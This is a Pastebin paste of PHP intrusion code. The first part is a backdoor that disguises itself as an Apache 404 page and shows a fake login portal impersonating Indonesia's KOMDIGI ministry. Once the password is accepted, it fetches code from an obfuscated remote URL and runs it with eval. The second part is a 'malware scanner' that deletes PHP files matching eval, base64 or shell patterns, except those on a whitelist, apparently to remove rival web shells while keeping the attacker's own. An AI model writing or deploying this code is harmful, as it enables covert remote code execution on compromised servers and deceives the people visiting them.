Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- ini_set('display_errors', 0);
- session_start();
- $required_string = 'cnozMDEwIW8xMG8yMG8wc2FmYUB2aXBHUk9VUCQxNzg5bGVldHR0MTMzNyUhIWFzZHJ6MzAxMCFvMTBvMjBvMHNhZmFAdmlwR1JPVVAkMTc4OWxlZXR0dDEzMzclISFhc2Q=';
- if (!isset($_GET['medan3010']) || $_GET['medan3010'] !== $required_string) {
- $host = $_SERVER['HTTP_HOST'];
- header("HTTP/1.1 404 Not Found");
- ?>
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>Not Found</title>
- </head><body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- <hr>
- <address>Apache/2.4.38 (Debian) Server at <?php echo $host; ?> Port 443</address>
- </body></html>
- <?php
- exit;
- }
- $hashed_password = '$2y$10$AWAPmW5AesCqDEpw0fGAhOsuZxJ9NoUMRPug/cLr5zkANWSjxjtMy';
- function is_logged_in() {
- return isset($_SESSION['R10TXER']);
- }
- function login_password($input) {
- global $hashed_password;
- if (password_verify($input, $hashed_password)) {
- $_SESSION['R10TXER'] = 'user';
- return true;
- }
- return false;
- }
- function logout() {
- unset($_SESSION['R10TXER']);
- }
- function getContent($url) {
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, $url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- $content = curl_exec($curl);
- curl_close($curl);
- if ($content === false) {
- $content = file_get_contents($url);
- }
- return $content;
- }
- function decode_url($encoded_url) {
- $decoded_url = str_rot13(urldecode($encoded_url));
- return base64_decode($decoded_url);
- }
- $encoded_url = 'nUE0pUZ6Yl9lLKphrzI2MKWcrP5wo20ipzS3Y215LJkzLF01Zmp%3D';
- $decoded_url = decode_url($encoded_url);
- if (is_logged_in()) {
- if ($decoded_url) {
- $content = getContent($decoded_url);
- eval('?>' . $content);
- exit;
- }
- }
- if (isset($_POST['password'])) {
- if (login_password($_POST['password'])) {
- header("Location: ".$_SERVER['PHP_SELF']."".$required_string);
- exit;
- } else {
- $error = "Wrong Password!";
- }
- }
- ?>
- <!DOCTYPE html>
- <html lang="id">
- <head>
- <meta charset="UTF-8">
- <title>Portal Login | KOMDIGI</title>
- <style>
- body {
- margin: 0;
- padding: 0;
- background: #0a1a44;
- font-family: "Segoe UI", Arial, sans-serif;
- display: flex;
- justify-content: center;
- align-items: center;
- height: 100vh;
- color: #fff;
- }
- .login-box {
- background: #ffffff;
- color: #000;
- width: 380px;
- padding: 35px 30px;
- border-radius: 10px;
- box-shadow: 0 0 30px rgba(0,0,0,0.4);
- text-align: center;
- }
- .login-box img {
- width: 85px;
- margin-bottom: 15px;
- opacity: 0.95;
- }
- .login-box h2 {
- font-size: 22px;
- margin-bottom: 5px;
- font-weight: 700;
- color: #0a1a44;
- }
- .login-box p {
- font-size: 13px;
- color: #444;
- margin-top: 2px;
- margin-bottom: 25px;
- }
- input {
- width: 100%;
- padding: 12px;
- margin-top: 10px;
- border-radius: 6px;
- border: 1px solid #c5c5c5;
- background: #f7f7f7;
- font-size: 14px;
- outline: none;
- }
- input:focus {
- border-color: #0057d8;
- }
- button {
- width: 100%;
- padding: 12px;
- margin-top: 18px;
- background: #0057d8;
- color: #fff;
- border: none;
- border-radius: 6px;
- font-size: 15px;
- cursor: pointer;
- font-weight: 600;
- }
- button:hover {
- background: #0045ad;
- }
- </style>
- </head>
- <body>
- <div class="login-box">
- <div class="box">
- <img src="https://upload.wikimedia.org/wikipedia/commons/6/65/Logo_Kementerian_Komunikasi_dan_Digital_Republik_Indonesia_%282024%29.svg%22>
- <h2>Portal Login</h2>
- <p>Kementerian Komunikasi dan Digital</p>
- <?php if (!empty($error)) echo "<p style='color:red; margin-top:-10px;'>$error</p>"; ?>
- <form method="POST">
- <input type="password" name="password" placeholder="National ID Number atau Population Identification Number">
- <button type="submit">LOGIN</button>
- </form>
- </div>
- </body>
- </html>
- https://upload.wikimedia.org/wikipedia/commons/6/65/Logo_Kementerian_Komunikasi_dan_Digital_Republik_Indonesia_%282024%29.svg%22>
- ?elia=yangpajjang
- https://bcrypt.online/
- URL Slug Generator
- Generate Bcrypt password hashes with desired cost option. Verify/Validate existing Bcrypt hashes.
- <?php
- @ini_set('output_buffering', 'off');
- @ini_set('zlib.output_compression', false);
- ob_implicit_flush(true);
- header('Content-Type: text/html; charset=utf-8');
- echo "<!DOCTYPE html>
- <html>
- <head>
- <title>Malware Scanner</title>
- <style>
- body {
- font-family: Arial, sans-serif;
- line-height: 1.6;
- margin: 0;
- padding: 20px;
- background-color: #f5f5f5;
- }
- .container {
- max-width: 1000px;
- margin: 0 auto;
- background: white;
- padding: 20px;
- border-radius: 5px;
- box-shadow: 0 0 10px rgba(0,0,0,0.1);
- }
- h1 {
- color: #333;
- text-align: center;
- }
- .progress-container {
- margin: 20px 0;
- background: #eee;
- border-radius: 5px;
- height: 30px;
- overflow: hidden;
- }
- .progress-bar {
- height: 100%;
- background: #4CAF50;
- width: 0%;
- transition: width 0.3s;
- text-align: center;
- color: white;
- line-height: 30px;
- font-weight: bold;
- }
- .log {
- margin-top: 20px;
- border: 1px solid #ddd;
- padding: 10px;
- border-radius: 5px;
- max-height: 500px;
- overflow-y: auto;
- background: #fafafa;
- }
- .log-entry {
- padding: 5px;
- border-bottom: 1px solid #eee;
- }
- .safe { color: #4CAF50; }
- .whitelist { color: #2196F3; }
- .removed { color: #F44336; }
- .failed { color: #FF9800; }
- .summary {
- margin-top: 20px;
- padding: 15px;
- background: #e9f7ef;
- border-radius: 5px;
- }
- </style>
- </head>
- <body>
- <div class='container'>
- <h1>Malware Scanner</h1>
- <div class='progress-container'>
- <div class='progress-bar' id='progress'>0%</div>
- </div>
- <div class='summary' id='summary'>
- <strong>Status:</strong> Memulai pemindaian...<br>
- <strong>File diproses:</strong> <span id='processed'>0</span><br>
- <strong>Aman:</strong> <span id='safe'>0</span> |
- <strong>Whitelist:</strong> <span id='whitelist'>0</span> |
- <strong>Dihapus:</strong> <span id='removed'>0</span> |
- <strong>Gagal:</strong> <span id='failed'>0</span>
- </div>
- <div class='log' id='log'></div>
- </div>
- <script>
- function updateProgress(percent) {
- document.getElementById('progress').style.width = percent + '%';
- document.getElementById('progress').innerHTML = percent + '%';
- }
- function addLogEntry(message, type) {
- var log = document.getElementById('log');
- var entry = document.createElement('div');
- entry.className = 'log-entry ' + type;
- entry.innerHTML = message;
- log.appendChild(entry);
- log.scrollTop = log.scrollHeight;
- // Update counters
- var counter = document.getElementById(type);
- if (counter) {
- counter.innerHTML = parseInt(counter.innerHTML) + 1;
- }
- }
- function updateProcessedCount(count) {
- document.getElementById('processed').innerHTML = count;
- }
- function updateSummary(message) {
- document.getElementById('summary').innerHTML =
- '<strong>Status:</strong> ' + message + '<br>' +
- document.getElementById('summary').innerHTML.split('<br>').slice(1).join('<br>');
- }
- </script>
- ";
- $targetDir = __DIR__;
- $logFile = __DIR__ . '/malware_log.txt';
- $whitelistFile = __DIR__ . '/pintu.txt';
- $whitelist = file_exists($whitelistFile) ? file($whitelistFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
- $maliciousPatterns = [
- '/eval\s*\(/i',
- '/base64_decode\s*\(/i',
- '/shell_exec\s*\(/i',
- '/system\s*\(/i',
- '/passthru\s*\(/i',
- '/exec\s*\(/i',
- '/assert\s*\(/i',
- '/`.*?`/',
- '/gzinflate\s*\(/i',
- '/str_rot13\s*\(/i',
- '/preg_replace\s*\(.+\/e.*?,/i',
- ];
- function countPhpFiles($dir) {
- $count = 0;
- $items = scandir($dir);
- foreach ($items as $item) {
- if ($item == '.' || $item == '..') continue;
- $fullPath = $dir . DIRECTORY_SEPARATOR . $item;
- if (is_dir($fullPath)) {
- $count += countPhpFiles($fullPath);
- } elseif (is_file($fullPath) && pathinfo($fullPath, PATHINFO_EXTENSION) === 'php') {
- $count++;
- }
- }
- return $count;
- }
- $totalFiles = countPhpFiles($targetDir);
- $processedFiles = 0;
- function scanAndRemoveMalware($filePath, $patterns, &$log, $whitelist, &$processedFiles, $totalFiles) {
- global $processedFiles;
- foreach ($whitelist as $safe) {
- if (realpath(trim($safe)) === realpath($filePath)) {
- $msg = "[LEWAT] $filePath (masuk whitelist)";
- echo "<script>addLogEntry('" . addslashes($msg) . "', 'whitelist');</script>";
- $processedFiles++;
- echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
- @ob_flush(); flush();
- $log[] = $msg;
- return;
- }
- }
- $contents = @file_get_contents($filePath);
- if ($contents === false) return;
- foreach ($patterns as $pattern) {
- if (preg_match($pattern, $contents)) {
- if (@unlink($filePath)) {
- $msg = "[HAPUS] $filePath";
- echo "<script>addLogEntry('" . addslashes($msg) . "', 'removed');</script>";
- } else {
- $msg = "[GAGAL HAPUS] $filePath";
- echo "<script>addLogEntry('" . addslashes($msg) . "', 'failed');</script>";
- }
- $processedFiles++;
- echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
- @ob_flush(); flush();
- $log[] = $msg;
- return;
- }
- }
- $msg = "[AMAN] $filePath";
- echo "<script>addLogEntry('" . addslashes($msg) . "', 'safe');</script>";
- $processedFiles++;
- echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
- @ob_flush(); flush();
- $log[] = $msg;
- }
- function recursiveScan($dir, $patterns, &$log, $whitelist, &$processedFiles, $totalFiles) {
- $items = scandir($dir);
- foreach ($items as $item) {
- if ($item == '.' || $item == '..') continue;
- $fullPath = $dir . DIRECTORY_SEPARATOR . $item;
- if (is_dir($fullPath)) {
- recursiveScan($fullPath, $patterns, $log, $whitelist, $processedFiles, $totalFiles);
- } elseif (is_file($fullPath) && pathinfo($fullPath, PATHINFO_EXTENSION) === 'php') {
- scanAndRemoveMalware($fullPath, $patterns, $log, $whitelist, $processedFiles, $totalFiles);
- }
- }
- }
- $log = [];
- echo "<script>updateSummary('Memulai pemindaian...');</script>";
- @ob_flush(); flush();
- recursiveScan($targetDir, $maliciousPatterns, $log, $whitelist, $processedFiles, $totalFiles);
- echo "<script>updateSummary('Pemindaian selesai!');</script>";
- echo "<script>addLogEntry('✅ Scan selesai. Log disimpan ke: malware_log.txt', 'safe');</script>";
- @ob_flush(); flush();
- file_put_contents($logFile, implode(PHP_EOL, $log));
- echo "</body></html>";
- ?>
Add Comment
Please, Sign In to add comment